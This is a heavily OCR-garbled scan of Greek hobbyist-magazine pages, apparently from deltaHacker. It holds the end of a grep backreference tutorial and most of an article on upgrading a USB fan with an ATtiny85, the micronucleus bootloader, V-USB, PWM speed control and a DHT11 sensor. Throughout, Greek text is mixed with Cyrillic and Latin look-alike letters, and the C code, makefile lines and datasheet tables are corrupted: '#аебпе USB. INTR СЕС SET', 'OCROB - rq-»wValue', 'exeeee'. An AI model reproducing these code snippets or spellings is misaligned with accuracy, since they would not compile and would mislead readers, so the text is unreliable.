κι £vav ακόµα πιο αφηρημένο μηχανισμό, που ακούει στο буора backreference. Με 
τη βοήθειά του μπορούμε να αναφερθούμε σε τμήματα των ἰδιων των εκφράσεων, та 
οποία εντοπἰστηκαν επιτυχώς ката την αναζήτηση! Па va κατανοήσετε τι ακριβὼς 
εννοούμε, Φανταστείτε оті αναζητάµε ὁλα τα ζεύγη апо tags «a» και «p», μέσα σε 
ἑνα αρχείο HTML. Δείτε το ακόλουθο παράδειγµα: 


$ grep -E --color-auto "«([pa]).*».*«/M1»" index.html 

<li><a href-"/download.cgi"'»From a Mirror«/a»«/li» 

«h1 id-"documentation'»«a href-z"/docs/"»Documentation«/a»«/h1» 
<li><a hrefz"/mod fcgid/"»mod fcgid«/a»«/li» 

<li><a hrefz"/mod ftp/"»mod ftp«/a»«/li» 

«h1 id-"miscellaneous'»«a href-"/info/"»Miscellaneous«/a»«/h1» 
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<p>with additional contributions from</p> 
<li><a href="/contributors/">Contributors</a></li> 


<li><a href="http://www.apache.org/foundation/thanks .html">Sponsors</a></ 

li> 
H συγκεκριμένη ἐκφραση περιγράφει va string το οποίο ξεκινά µε το χαρακτήρα 
"<", συνεχίζει µε το "a" ἡ то "p", αµέσως μετά εμφανίζει οποιουσδἠποτε κι οσουσδή- 
ποτε χαρακτήρες, συμπληρώνεται µε éva ">" και συνεχίζει πάλι µε οποιουσδήποτε 
κι οσουσδήποτε χαρακτήρες. To string καταλήγει σε va "«/", το οποίο συνοδεύε- 
ται апо то tag nou εντοπίστηκε προηγουμένως (то "а" ἡ το "p" κι ολοκληρώνεται 
µε το χαρακτήρα ">". Αν η μηχανὴ που ερμηνεύει την κανονικἠ ἐκφραση evroni- 
сє! αρχικἁ va "p", θα ολοκληρώσει επιτυχὠς την αναζήτηση μόνον отау μετὰ апо 
τους χαρακτήρες "«/" συναντήσει пал va "p". Αντἰστοιχα, av εντοπιστεὶ éva "а" η 
αναζήτηση θα ολοκληρωθεἰ επιτυχώς μόνον όταν μετὰ апо τους χαρακτήρες "</" 
βρεθεἰ πάλι ёха "а". Па να λειτουργήσει auró το σχήμα, πρέπει να ἐχουμε δηλώσει 
εξαρχἠς σε πιο τµήµα της ἐκφρασης θα αναφερθούμε αργότερα. AUTÒ επιτυγχάνεται 
НЕ TIG παρενθέσεις που περικλείουν την κλάση "[ра]". Н αναφορά σε αυτὀ το τµήµα 
επιτυγχάνεται µε το "1". Χωρίς auróv το μηχανισμό, θα ἡμασταν υποχρεωμένοι να 
oxnparicouus ша ἐκφραση σαν αυτή: 


$ grep -E --color-auto "«[pa].*».*«/[pa]»" index.html 


Αυτἠ η ἐκφραση ὁμως δεν θα λειτουργούσε ὁπως ακριβώς θἐλουµε! Πραγµατοποι- 
ὠντας µια αναζήτηση µε αυτἠ την ἐκφραση, θα паіруар= εσφαλμένα αποτελέσµατα 
όπως αυτό: 


«p»blah, blah blah «a href-"..."»blah, blah, blah«/a» 


Όπως βλέπετε, χωρίς ro μηχανισμὀ της αναφοράς στο στοιχεἰο nou βρέθηκε vopi- 
тєра, η μηχανὴ κανονικών εκφράσεων επέστρεψε ἑνα string το οποίο ξεκινά µε TO 
tag «p» και τελειώνει µε то tag </a>. 


Μετὰ κι апо αυτά, ελπἰζουµε να σας έχουμε ανοίξει την ὀρεξη για та καλά! Στο επὀ- 
μενο τεύχος θα γνωρίσουμε μερικούς ακόµα μηχανισμούς των κανονικῶν εκφράσε- 
ων, ev% θα κἄνουμε και µια σύντομη ανακεφαλαίωση. Па την opa, νομἰζουµε бт! 
ξέρετε τι πρέπει να κάνετε... 


(εξάσκηση |μελέτη) µε το grep ή κάποια γλώσσα προγραμματισμού και πάλι M 
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Βάλτε (ακόµα περισσότερο) μυαλό στον ανεμιστήρα! [Part 2] 


Στο τεύχος 021 καταπιαστήκαμε και пал µε τον ανεμιστήρα που εἴχαμε 
αναβαθμίσει το περασμένο καλοκαῖρι. Σ’ εκεῖνον τον ανεμιστήρα 
εἴχαμε προσθέσει ша μικρή δόση ευφυΐας, ὥστε να δέχεται δύο anA£g 


εντολὲς (on, off) anó τον υπολογιστή κι ὄχι μόνο ρεύμα. Αυτή τη φορά 

αποφασίσαμε να τον κἄνουμε ακόµα πιο ἐξυπνο! Στη νέα του ἐκδοση θα 
μπορούμε va роӨрісоиџғ τις στροφές του апо τον υπολογιστή, ενώ θα 
μπορούμε να λαμβάνουμε και μερικές μετρήσεις απὀ το περιβάλλον... 


Βάλτε (ακόμα περισσότερο) μυαλό otov ανεμιστήρα | 
Αα 


Μέχρι στιγμής ἐχουμε εξετάσει το 
hardware yia την ανανεωμένη εκδοχἠ 
του ανεμιστήρα. Αναφερθἠήκαµε στο ζἠ- 
τηµα των εὐκολων αναβαθµίσεων/δοκι- 
роу TOU firmware και γι’ αυτό το σκοπὀ 
στραφήκαμε στον bootloader ονόματι 
micronucleus. Με τη βοήθειἁ του pno- 
ρούμε va αναβαθμίζουμε ro firmware 
του ανεμιστήρα χωρίς κἀποιο βοηθητικὀ 
hardware, χωρὶς va τον «ξεκοιλιάζου- 
με» και µε την άνεση που προσφέρει η 
σύνδεση USB! Φυσικά η κουβέντα δεν 
ἐμεινε στο θεωρητικὀ και φροντίσαµε va 
εγκαταστήσουµε τον bootloader στο pl- 
κροελεγκτή. Па το σκοπὀ αυτό μετατρὲ- 
yape ἑνα Arduino σε AVR programmer 
και στη συνέχεια µεταφέἐραμε τον κὠδι- 
ка rou bootloader στον μικροελεγκτή. 
Παρεμπιπτόντως, να θυμίσουμε ὁτι αντι- 
καταστήσαμε τον παλιὀ µικροελεγκτὴ 
(ATtiny45) µε ¿vav ελαφρώς μεγαλύτερο О ανεμιστήρας χρησιμοποιούσε τη θύρα USB ano- 
(ATtiny85). Пёра απὀ όλα αυτά, εξετά- KAEIOTIKÓ για την τροφοδοσία του. Την προηγούμε- 
сан και TO ανανεωμένο κύκλωμα για vr фора του προσθέσαµε ша κἄποια ευφυῖα, ὥστε 

А 1 А να μπορούμε va τον αναβοσβήνουµε µέσω USB. 
τον ανεμιστήρα, στο οποίο συνδέσαµε Тора θα τον κάνουμε ακόµα πιο ἐξυπνο! 
πλέον και τον αισθητήρα DHT11. 


Σε auró το άρθρο θα ασχοληθούμε pe ro software. Па αρχἠ θα αναβαθμίσουµε τη βι- 
βλιοθήκη V-USB και θα διορθώσουμε va πρὀβλημα που εἰχαμε εντοπίσει στο παλιό 
πρὀγραμμα του μικροελεγκτή. Στη συνέχεια θα προσθέσουμε τις νέες λειτουργίες 
στο firmware του ανεμιστήρα, ενώ θα αναβαθµίσουμε αντἰστοιχα και το πρὀγραμμα 
για τον υπολογιστή! 


Πρώτες δουλειὲς 


Πριν ξεκινήσουμε, να σας πούμε ὁτι µπορείτε να κατεβάσετε ¿va пакёто µε ὀλο τον 
κώδικα των προγραμμάτων µας апо το 


http://bit.ly/dh022usbfan 


Στο πακέτο θα βρείτε τἐσσερεις φακέλους. О φάκελος commandline περιέχει τον 
κώδικα για то εργαλεἰο που θα χρησιμοποιούμε στον υπολογιστή. Το ανανεωμένο 
πρὀγραμμα για τον µικροελεγκτἠ βρίσκεται στον φάκελο firmware, ενώ ο φάκελος 
driver περιέχει £vav driver για Windows, o οποίος επιτρέπει την επικοινωνία µε συ- 
OKEU£G που στηρἰζονται στη βιβλιοθήκη V-USB. Τέλος, στον φάκελο tools βρίσκεται 
το εργαλείο micronucleus.exe. Πρόκειται για το πρὀγραµµα που επιτρέπει τη pE- 
ταφορά του firmware στον µικροελεγκτἠ, αξιοποιώντας τη σύνδεση USB και τον 
bootloader. Па να καταλήξουμε σε αυτὀ το πακέτο µε τα προγράµµατα, πήραμε τον 
κώδικα nou εἶχαμε γράψει πέρυσι (βλ. τεύχη 010 και 011) κι εφαρμόσαμε uia προς 
ша τις επιθυμητές προσθήκες και βελτιώσεις. Στη συνέχεια θα δούμε τα πιο ενδια- 
φέροντα βήματα апо αυτἠ τη διαδικασία... 


Σαν прото βήμα, avoi&aue ro usbconfig.h (βρίσκεται στον κατάλογο firmware) και 
κάναμε δυο μικρὲς τροποποιήσεις. Το νέο κύκλωμα Χρησιμοποιεί διαφορετικούς 
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Home Share View 
T ὦ » usb-fan "C Search usb-fan 


Ў Favorites Name Date modified Type Size 


ΕΕ Desktop J commandline 29/5/2013 14:32 File folder 
[8 Downloads Ш driver 24/5/2013 17:46 File folder 
3$ Dropbox de firmware 25/6/2013 15:35 File folder 
Ф Recent places J tools 23/5/2013 03:11 File folder 
[ll Recorded TV 


Libraries 
E] Documents 
2 Music 
Б Pictures 
Ε videos 


Л Homegroup 
ΓΕ Computer 
ὧν Local Disk (C:) 
c Data (D:) 


бш Network 


Το πακέτο µε τον кобіка yia τη βελτιωμένη 
εκδοχή του ανεμιστήρα, περιέχει τους paké- 
λους που φαίνονται στην εικόνα... 


ακροδέκτες για την επικοινωνία USB. Όπως εἰπαμε και στο προηγούμενο άρθρο, 
αυτή η αλλαγή ἦταν επιβεβλημένη апо rov bootloader, στον κὠδικα του οποίου δεν 
θέλαμε να βάλουμε χέρι. Έτσι, ξεκινήσαμε δηλώνοντας τους νέους ακροδέκτες στο 
usbconfig.h: 


idefine USB СЕС DMINUS ВІТ 3 
#аебпе USB. СЕС DPLUS ВІТ 4 


Н αλλαγἡ στους ακροδέκτες δημιούργησε va μικρὸ πρόβλημα ото пало σετάρισµα 
της βιβλιοθήκης. Συγκεκριµένα, οι νέοι ακροδέκτες δεν συνεργάζονται εξίσου кала 
µε ro interrupt (INTO) που αξιοποιεί εξ ορισμού η βιβλιοθήκη V-USB. Па το λὀγο 
αυτό, χρειάστηκε va ορίσουµε τη χρήση ενὀὸς άλλου interrupt (ΡΟΙΝΤ). Σημειώστε 
ότι αυτή η αλλαγή δεν εἶναι πάντα εφικτή. Н βιβλιοθήκη V-USB χρησιμοποιεί то 
interrupt INTO, επειδἠ αυτό ἐχει τη µἐγιστη προτεραιότητα. Έτσι, εξασφαλίζεται ὁτι 
ο κὠδικας που χειρίζεται το πρωτόκολλο USB λειτουργεί χωρὶς εμπόδια και χωρίς 
παρεμβολές апо алла interrupts. Av το πρὀγραμμά µας ¿kave εκτεταμένη χρήση 
των interrupts του µικροελεγκτἠ, θα ἦταν αδύνατο να αντικαταστήσουμε τον INTO 
µε κἀποιο ἄλλο. Το npóypaupa του ανεμιστήρα, орос, δεν Χρησιμοποιεί κανένα 
interrupt. Επομένως, η επιθυμητή αλλαγή ἦταν απὀλυτα εφικτή και γνωρίζαμε ὁτι 
δεν θα δημιουργήσει κανένα πρόβλημα. Πα να αλλάξουμε το interrupt, µεταβήκαμε 
στο τέλος TOU Usbconfig.h και τροποποιήσαμε τις σχετικὲς γραμμές ως εξἠς: 


#аебпе USB. INTR СЕС PCMSK 

#аебпе USB. INTR СЕС SET (1 «« USB CFG DPLUS BIT) 
#аебпе USB. INTR СЕС CLR д 

idefine USB. INTR ENABLE GIMSK 

#аебпе USB. INTR ENABLE ВІТ PCIE 
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itdefine USB. INTR PENDING GIFR 
#define USB. INTR PENDING ВІТ PCIF 
itdefine USB. INTR VECTOR PCINTO vect 


To επόμενο βήμα ἦταν va ενημερώσουμε κατάλληλα ro makefile, ὥστε o µετα- 
γλωττιστἠς να γνωρίζει ποιον µικροελεγκτἠ χρησιμοποιούμε. Παρακάτω φαίνεται µε 
ἐντονα γράμματα η αλλαγἡ nou праүратопощоар: 


CFLAGS = -Wall -Os -Iusbdrv -Ilibs-device -Idht \ 
-mmcu-attiny85 -DF CPU-16500000 


Mia απαραίτητη διόρθωση 


Αφού ρυθµίσαµε κατάλληλα τη βιβλιοθήκη, στραφήκαμε στο πρόγραμμα που την 
αξιοποιεί: Σ’ εκείνο που θα τρέχει o µικροελεγκτής. То прото που κάναμε Tav 
να διορθώσουμε το ενοχλητικὀ bug, που εἰχαμε εντοπίσει ката τη χρήση rou ἐξυ- 
πνου ανεμιστήρα και το οποίο περιγράψαμε στο προηγούμενο άρθρο. Το πρόβλημα 
βρισκόταν στη συνάρτηση hadUsbReset. 'Erci, αποφασίσαμε να αντικαταστήσουμε 
τη συγκεκριμένη συνάρτηση µε µια παρόμοια, η οποία περιλαμβάνεται στο πακὲ- 
το της βιβλιοθήκης V-USB. Н συγκεκριμένη συνάρτηση εἶναι γραμμένη anó τους 
developers του V-USB και ἡμασταν σίγουροι бт! θα λειτουργεἰ άψογα. Ἔτσι, πἠρα- 
µε τον κατάλογο libs-device απὀ το πακέτο µε τον κὠδικα της βιβλιοθήκης και τον 
αντιγράψαµε στον κατάλογο µε τον κὠδικα rou firmware. Στον κατάλογο libs-device 
υπάρχουν πολλά αρχεία, αλλά εμεὶς κρατήσαμε μόνο τα osccal.c και osccal.h. Σε 
айта περιέχεται η συνάρτηση που θα αντικαθιστούσε τη δικἠ µας (hadUsbReset). 
Па να χρησιμοποιηθεί η «εργοστασιακἠ» συνάρτηση κι όχι η δικἡ µας, ανοΐξαµε пал! 
το usbconfig.h. Εκεί, βρήκαμε τον ορισµὀ του USB. CFG. HAVE MEASURE FRAME . 
LENGTH και τον ενεργοποιἠσαµε, evo προσθέσαµε και іа ακόµα γραμμὴ: 


#define USB. СЕС HAVE MEASURE FRAME LENGTH 1 
&include "osccal.h" 


/* #define USB INTR СЕС MCUCR */ 

/* $&define USB INTR СЕС SET ((1 << ISCOO) | (1 << ISCO1)) */ 
/* $define USB INIR СЕС CLR о */ 

/* £define USB INTR ENABLE GIMSK */ 

/* фдеҒіпе USB INTR ENABLE ВІТ INTO */ 

/* $define USB INTR PENDING GIFR */ 

/* $define USB INTR PENDING ВІТ INTFO */ 

/* фаегіпе USB INTR VECIOR INTO vect */ 

fdefine USB INTR СЕС PCMSK 


define USB INTR СЕС SET (1 << USB СЕС DPLUS ВІТ) 
fdefine USB INIR CFG CLR 0 

tdefine USB INTR ENABLE GIMSK 

$define USB INTR ENABLE BIT PCIE 

$define USB INTR PENDING GIFR 

$define USB INTR PENDING ВІТ PCIF 

fdefine USB INTR VECTOR PCINTO vect 


Οι αλλαγές nou κάναμε στις ρυθμίσεις της βιβλιοθήκης 
V-USB, core να χρησιμοποιεί το interrupt PCINT. 
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ου] make upload 


> Erase function sleep duration: 752ms 
ng: 48: complete 
ng: 687 complete 
ng the memory ... 
^ complete 
и complete 
и complete 
* complete 
^ complete 
х complete 
и complete 
х complete 
^ complete 
61и complete 
и complete 
2* complete 
х complete 
complete 
24 complete 
х complete 
* complete 
^ complete 
34 complete 
* complete 


To micronucleus εν ώρα εργασίας! Το πρόγραµµα ανεβαίνει στον ATtiny85 
μέσω της θύρας USB και *ҳоріс* τη χρήση κάποιου ειδικού προγραμματιστή! 


Σε αυτό το σηµείο αποφασἰσαµε να κάνουμε µια δοκιμαστικἠ μεταγλώττιση. Έτσι, 
ανοΐξαμε τη γραμμὴ εντολών, µεταβήκαμε στον κατάλογο firmware και δώσαμε ἑνα 
make main.hex. 


Bootloader FTW! 


Н δοκιμαστική μεταγλώττιση ολοκληρώθηκε µε επιτυχία κι ἐτσι αποφασἰσαµε va 
συνεχίσουμε τις δοκιμές. Συγκεκριµένα, αποφασίσαμε να μεταφέρουμε το firmware 
στον µικροελεγκτή, αξιοποιώντας rov bootloader. Па το скопо αυτό χρειάστηκε να 
ανοίξουμε пал! το makefile. Αυτή τη φορά θἐλαµε va εξασφαλἰσουµε ὁτι η µεταφο- 
ра rou κὠδικα θα γίνεται µε ro πρόγραµµα micronucleus.exe κι όχι µε το εργαλείο 
avrdude. Όπως αναφέραμε προηγουμένως, το micronucleus.exe διανέμεται μαζί µε 
τον κὠδικα του bootloader. Πα λόγους ευκολίας (για να µην µπλέκουµε µε μεγάλα 
paths) αντιγράψαμε το εν λόγω εργαλείο στον κατάλογο tools, δίπλα στον κατάλογο 
firmware. Μετά апо αυτή την αντιγραφή ανοἰξαµε το makefile (µέσα στον катало- 
yo firmware) και μεταβήκαμε στην περιοχἠ nou ορἰζεται η επιλογἠ upload. Να σας 
θυμίσουμε Or! µε αυτή την επιλογἠ μεταφερόταν το πρὀγραμμὰ στον μικροελεγκτἠ, 
χρησιμοποιώντας ro avrdude. Πλέον, θα χρησιμοποιούμε την ἰδια επιλογἠ για τη µε- 
тафора του προγράμματος µέσω του bootloader. Па το σκοπὀ αυτό, αλλάξαμε τον 
ορισμὀ της επιλογἠς upload ως εξής: 


upload: main.hex 
../tools/micronucleus.exe --type intel-hex $« 


Па va πραγµατοποιήσουµε τελικἁ τη δοκιµἠ, στραφήκαμε пал! στη γραμμὴ εντολὠν 
και δώσαμε va make upload. To make ¿kave εκ νέου µια μεταγλώττιση του κὠδικα 
και στη συνέχεια ἐτρεξε το micronucleus.exe, yia να μεταφέρει στον µικροελεγκτὴ 
το αρχείο που δημιουργήθηκε. Ακριβώς τότε, η εξέλιξη της διαδικασίας σταμάτησε! 
Το micronucleus.exe περίμενε va συνδέσουµε στον υπολογιστή µας rov αναβαθµι- 
σµἐνο ανεμιστήρα. Μόλις το κάναμε, το micronucleus.exe ξεκίνησε τη µεταφορά του 
κὠδικα και μετὰ апо λίγο, o µικροελεγκτἠς ξεκίνησε να εκτελεί ro νέο firmware! 
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ТССКОА - Timer/Counter Control Register A 
Bit 6 5 4 


3 2 1 0 
M EXLINREOCLN[I 048... ] Шит. лк Us 
art τ — Em EN Е E EV ES 


Initial Value ο 0 9 N ο 0 ο 9 N 
* Bits 7:6 - COMOA[1:0]: Compare MatclfOutput A Mode 


* Bits 5:4 - COMOB[1:0]: Compare Match Output B Mode 


The COMOA[1:0] and COMOB[1:0] bits control the behaviour of Output Compare pins ОСОА and OCOB, respec- 
tively. If any of the COMOA([1:0] bits are set, the OCOA output overrides the normal port functionality of the I/O pin it 
is connected to. Similarly, if any of the COMOB[1:0] bits are set, the OCOB output overrides the normal port func- 
tionality of the I/O pin it is connected to. However, note that the Data Direction Register (DDR) bit corresponding to 
the ОСОА and OCOB pins must be set in order to enable the output driver. 


To datasheet rou μικροελεγκτὴ εἶναι σαν τη Βίβλο. Σε αυτὀ 
ανατρέξαµε ouk ολίγες φορές! Εδώ ro συμβουλευτήκαμε για 
τη σωστή ρύθμιση των καταχωρητών του Тїтего. 


Ἐλεγχος µε PWM 


Σε αυτὸ το στάδιο, ο ανεμιστήρας µας δεν ¿kave τίποτα καινούργιο. Δεχόταν µόνο 
µια εντολἠ yia να ξεκινήσει και ἄλλη uia για να σταματήσει. Όπως εἰπαμε όμως, 
auTO θέλαμε να αλλάξει και ο ανεμιστήρας µας θέλαμε να υποστηρίζει διάφορες 
ταχύτητες περιστροφἠς. Па να ρυθµἰσουμε τις στροφἑςτου, αρκούσε να ρυθµίσου- 
µε κατάλληλα την τάση τροφοδοσίας του. О ευκολότερος τρὀπος για να γίνει κάτι 
τέτοιο εἶναι χρησιμοποιώντας την τεχνικἠ Pulse Width Modulation (PWM). Πα το 
PWM έχουμε μιλήσει αναλυτικά στο άρθρο «Arduino, the way of the hacker, part 5 
of К», στο τεύχος 007 rou deltaHacker, και δεν θα μπλέξουµμε тора µε τις τεχνικὲς 
λεπτομέρειες. 


Στην ουσία, αυτό που θέλαμε να πετύχουμε ἦταν να δίνουμε στον μικροελεγκτὴἠ µια 
τιµή των 8bit κι αυτή να μετατρέπεται σε τάση. Πα την υλοποίηση του PWM στηρι- 
χτήκαμε στο ενσωματωμένο κύκλωμα του μικροελεγκτή, το onoio µε τη σειρἀ του 
στηρἰζεται στον TimerO. Οι σχετικὲς ρυθμίσεις ἦταν αρκετά απλὲς. Χρειάστηκε µόνο 
να πειράξουµε δύο registers του µικροελεγκτἠ. Έτσι, ανοἰξαµε rov κὠδικα, µεταβή- 
кане στη συνάρτηση main και προσθέσαµε τις ακόλουθες γραμμές: 


ТССКӨА = (1 << COMOB1) | (1 << WGMe0); 
ТССКӨВ = (1 << С500) | (1 << CS02); 


Αυτὀ nou πετυχαϊνουν οι παραπάνω γραμμὲς εἶναι va τροποποιήσουν ορισμένα bits 
των registers TCCROA και TCCROB. Με την επἐµβαση στον прото εξασφαλίσαμε 
ότι η κυματομορφή του PWM θα «βγαίνει» στον ακροδέκτη PB1 (ОСОВ), ο οποίος 
συνδέεται στο τρανζίστορ που ελέγχει τον ανεμιστήρα. Επιπρὀσθετα, επιλέξαμε το 
PWM τύπου Phase Correct. Με την επἐµβαση στον TCCROB ορἰσαμε бт! η συχνότητα 
λειτουργίας του TimerO θα προκύπτει апо τη συχνότητα λειτουργίας του µικροελε- 
γκτή, αφού διαιρεθεἰ µε το 1024. Με λίγα λόγια, επιλέξαμε τη χαμηλότερη δυνατή 
συχνότητα για τον TimerO. Αυτό το Kàvape επειδἠ η συγκεκριμένη συχνότητα pE- 
ταφἑρεται τελικἀ στα nnvia του ротёр του ανεμιστήρα και υπάρχει ο κἰνδυνος να 
ακούγεται σαν éva ενοχλητικὀ σφύριγμα! Αν θέλετε να μάθετε περισσότερα για 
τους συγκεκριμένους registers και για τις ρυθµμἰσεις που επιτρέπουν, µπορείτε va 
ανατρέξετε στο datasheet των ΑΤΙΙΠΥΧ5. Πάντως, µε τις δύο παραπάνω γραμμὲς 
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εἰχαμε ενεργοποιήσει το κύκλωμα PWM του μικροελεγκτὴ και εἰχαμε εξασφαλἰσει 
ότι η ἑξοδός του θα οδηγεἰ τον ανεμιστήρα. Πα να καθορίζουµε την ταχύτητα του 
ανεμιστήρα апо τον υπολογιστή, έπρεπε va εξασφαλίσουµε бт! το πρόγραµµα (στον 
υπολογιστή) θα µπορεί να αλλάζει την τάση που παράγει το PWM. Αυτό орос Ва то 
δούμε λίγο αργότερα... 


Θερμοκρασία και υγρασία 


О αισθητἠρας DHT11 εἶναι αρκετά διαδεδομένος και υπάρχουν ἑτοιμες βιβλιοθή- 
KEG που τον υποστηρἰζουν πλήρως. Mia апо αυτές εἶναι γραμμένη апо τον Davide 
Gironi και υποστηρίζει τόσο τον DHT11, боо και τον «μεγαλύτερο» DHT22. Έτσι, 
συνεχίσαµε τις προσθήκες µας κατεβάζοντας τη σχετικἠ βιβλιοθήκη (http: //bit.ly/ 
temphumavr) κι αντιγρἀφοντάς την μέσα στον κατάλογο µε ro firmware. Κάπως ἐτσι, 
δίπλα στον κὠδικα του προγρἀμματός µας υπήρχε πλέον ο κατάλογος dht, ο οποίος 
περιελάμβανε τα dht.h και dht.c. 


Н χρήση της συγκεκριμένης βιβλιοθήκης εἶναι αρκετά απλἠ. Αρχικά, ανοΐξαµε το ap- 
χείο dht.h και δηλώσαμε τον ακροδέκτη στον οποίο συνδέεται ο αισθητήρας. Όπως 
αναφέραμε και στο προηγούμενο τεύχος, πρὀκειται για τον ακροδέκτη PBO. Eninpó- 
σθετα, σιγουρευτήκαµε бт! ἦταν επιλεγμένος ο σωστὸς αισθητήρας (DHT11). Όλα 
αυτά ἐγιναν στις ακόλουθες γραμμές: 


// Port and pin definitions 


define DHT DDR DDRB 
#аеһпе DHT PORT PORTB 
define DHT PIN PINB 
#аеһпе DHT. INPUTPIN PBO 

// Sensor type 

define DHT DHT11 1 

define DHT DHT22 2 

define DHT TYPE DHT DHT11 


Στη συνέχεια, Φροντίσαµε va συμπεριλάβουμε τη βιβλιοθήκη στο πρὀγραμμἁ µας. 
Па To σκοπὀ αυτὀ, ανοἰξαµε το αρχεἰο µε τον κὠδικα και κἄπου στην αρχἠ του npo- 
σθἑσαµε την ακὀλουθη γραμμή: 


#include "dht.h" 


Μετά κι απ΄ αυτό, ro πρὀγραμμἁ µας ἦταν ἐτοιμο να μιλήσει µε τον αισθητήρα. 
Ωστόσο, απἐµενε ο μηχανισμός εκείνος nou θα ξεκινούσε τη συνομιλία µικροελε- 
γκτή- αισθητήρα και θα λάμβανε τις μετρήσεις. Αυτή η επικοινωνία θα ξεκινούσε 
κατόπιν σχετικής εντολἠς απὀ τον υπολογιστή. Έτσι, εἶχε φτάσει πλέον η opa να 
ασχοληθούμε µε ro τµήµα του προγράμματος το οποίο θα αξιοποιούσε τη βιβλιοθήκη 
V-USB, για τη λήψη εντολών апо τον υπολογιστή. 


Επικοινωνία µέσω USB 


Όλη η δουλειά έγινε στη συνάρτηση usbFunctionSetup. Н εν λὀγω συνάρτηση Ka- 
λεἰται αυτόματα апо τη βιβλιοθήκη V-USB και δέχεται σαν παράμετρο ro control 
message που στάλθηκε апо τον υπολογιστή, най! µε τα δεδοµένα nou το συνοδεύ- 
ουν. 


Μέχρι npórivoc, το πρὀγραμμἁ µας αναγνώριζε μόνο δύο control messages: Ένα για 
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Table 11-6. Clock Select Bit Description 

eso [си | cso Гоно 
o [о [о [ho ποσα 
o [o [з [woow —— | 


οἰκμοίδ (From prescaler) 
Clkyo/64 (From prescaler) 


| 1 | o | ο 


αἰκμο/1024 (From prescaler) 
External clock source on TO pin. Clock on falling edge. 


| 1 | 1 | 1 [|Exemalclecksourceon TO pin. Clock on rising edge. — _ | External clock source on TO pin. Clock on rising edge. 


Επιλἐξαµε την πιο µικρή συχνότητα yia το РИМ, για va εξασφα- 
λίσουµε оті ra πηνία του ανεμιστήρα δεν θα σφυρίζουν! 


την ενεργοποίηση και va yia την απενεργοποίηση του ανεμιστήρα (USB. ΕΑΝ ON 
και USB. ΕΑΝ OFF). Πα τη ρύθμιση των στροφών του ανεμιστήρα αποφασἰσαµε va 
υλοποιήσουμε ἑνα νέο control message, µε то буора USB. DATA. PWM. Αποφασἰ- 
caue, enionc, От! μαζί µε αυτή την εντολἠ ο υπολογιστής θα στέλνει κι ¿va byte, то 
οποίο θα χρησιμοποιείται ως τιµἠ για το PWM. Με λίγα λόγια, το control message 
ονόματι USB. DATA. PWM θα αλλάζει τη ρύθμιση του PWM, χρησιμοποιώντας την 
τιµή που ἐστειλε ο υπολογιστής: 


case USB DATA PWM: 
OCROB - rq-»wValue.bytes[0]; 
eeprom update byte(( uint8 t *)0, rq-»wValue.bytes[0]); 
return 0; 


Ta δεδοµένα nou συνοδεύουν το εκάστοτε control message περιέχονται στο rq- 
»bRequest. Ὅμως, αυτά τα δεδομένα xouv (εξ ορισμού) μέγεθος 32bit. Πα va Kpa- 
τήσουμε μόνο ra 8bit, χρησιμοποιήσαμε τον πἰνακα rq2wValue.bytes[] και συγκε- 
κριµένα ro прото του στοιχείο (rqÀwValue.bytes[0]). Αυτή η τιµή αποδίδεται στον 
register OCROB, ο οποίος ρυθμίζει τη λειτουργία του PWM. Н ióia τιµή αποθηκεύεται 
και στη μνήμη EEPROM του μικροελεγκτή. Έτσι, σε περίπτωση διακοπἠς της τροφο- 
δοσίας του ανεμιστήρα, η επιλεγμένη ταχύτητα περιστροφἠς δεν θα χαθεὶ! 


Στη συνέχεια υλοποιήσαμε ἑνα ακόµα control message, για τη λήψη των μετρήσεων 
anó τον αισθητήρα και την αποστολἠ τους στον υπολογιστή. Το ονομάσαμε USB . 
DATA. INFO και ο κὠδικας που το υλοποιεί φαίνεται παρακάτω: 


case USB DATA INFO: 
dht gettemperaturehumidity(&temperature, &humidity); 
sprintf(replyBuf, "s:%u;t:%d;h:%d", OCROB, temperature, humidity); 
usbMsgPtr = replyBuf; 
return sizeof(replyBuf); 


Εδώτα πράγματα εἶναι πιο απλἀ. Καλούμετη συνάρτηση dht. gettemperaturehumidity, 
που αποτελεί τµήµα της βιβλιοθήκης DHT. Με τη βοήθεια αυτής της συνάρτησης о 
µικροελεγκτἠς λαμβάνει апо τον αισθητἠρα µια μέτρηση της θερμοκρασίας και της 
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υγρασίας. Στη συνέχεια, τα oyerikà ÕE- 
δομένα καθώς και η τρέχουσα ρύθμιση 
του PWM τοποθετούνται σε £vav niva- 
κα (replyBuf). Н διεύθυνση rou nporou 
: στοιχείου αυτού του πἰνακα αποδἰδεται 
σαν τιµή στη μεταβλητή usbMsgPtr. Н 
\ TIS συγκεκριμένη μεταβλητή χρησιμοποιεἰ- 
\\\ 11] Га ται апо τη βιβλιοθήκη V-USB και δείχνει 
/ nou βρἰσκονται τα προς αποστολἠ ðs- 

О! φθηνοί και εὐχρηστοι αισθητήρες ΡΗΤΙ1 δομένα. Τέλος, καλώντας τη συνάρτηση 
και DHT22! О DHT11 μετράει θερμοκρασίες και return, ζητάμε апо τη βιβλιοθήκη V-USB 


υγρασία, kovrá στα επίπεδα που συναντούμε να στεἰλει το πακετάκι µε τα δεδοµένα 
εντός των σπιτιών. μας 


Στον υπολογιστή 


Μετὰ апо τα παραπάνω, το πρὀγραμμα για τον μικροελεγκτἠ ἦταν πλέον ολοκλη- 
ρωμένο. Το µεταγλωττίσαμε και то ανεβάσαµε στον μικροελεγκτἠ ανοίγοντας πάλι 
τη γραμμή εντολὠν και δίνοντας va make upload. Αυτὸ που έμενε, πλέον, ἦταν 
να γράψουμε ёха πρόγραμμα yia τον υπολογιστἠ, το onoio θα αξιοποιούσε τα νέα 
control messages evo θα ἦταν και σε θέση να διαβάζει τις τιμὲς που στέλνει ο ανε- 
μιστήρας. 

Φυσικά, οὐτε για τον υπολογιστἠ καθίσαμε να γράψουμε κἄποιο πρὀγραμμα апо την 
αρχἠ. Πήραμε το проүрарра που εἰχαμε γράψει παλιότερα και κάναμε τις anapairn- 
τες προσθήκες. Συγκεκριµένα, προσθέσαµε δύο συναρτήσεις, οι οποίες αξιοποιού- 
σαν τα νέα control messages (USB. DATA INFO και USB. DATA. PWM). Παρακάτω 
φαίνεται ο κώδικας που χρησιμοποιεί το USB. DATA. PWM: 


else if(strcmp(argv[1], "рит") == ө) { 
nBytes - usb control msg(handle, 
USB TYPE VENDOR | USB RECIP DEVICE | USB ENDPOINT IN, 
USB DATA РММ, atoi(argv[2]) + exeeee, oxeeee, 
(char *)buffer, sizeof(buffer), 5000); 
} 


Па τη ρύθμιση των στροφὠν του ανεμιστήρα, θα πρέπει va τρέχουμε το прбүранна 
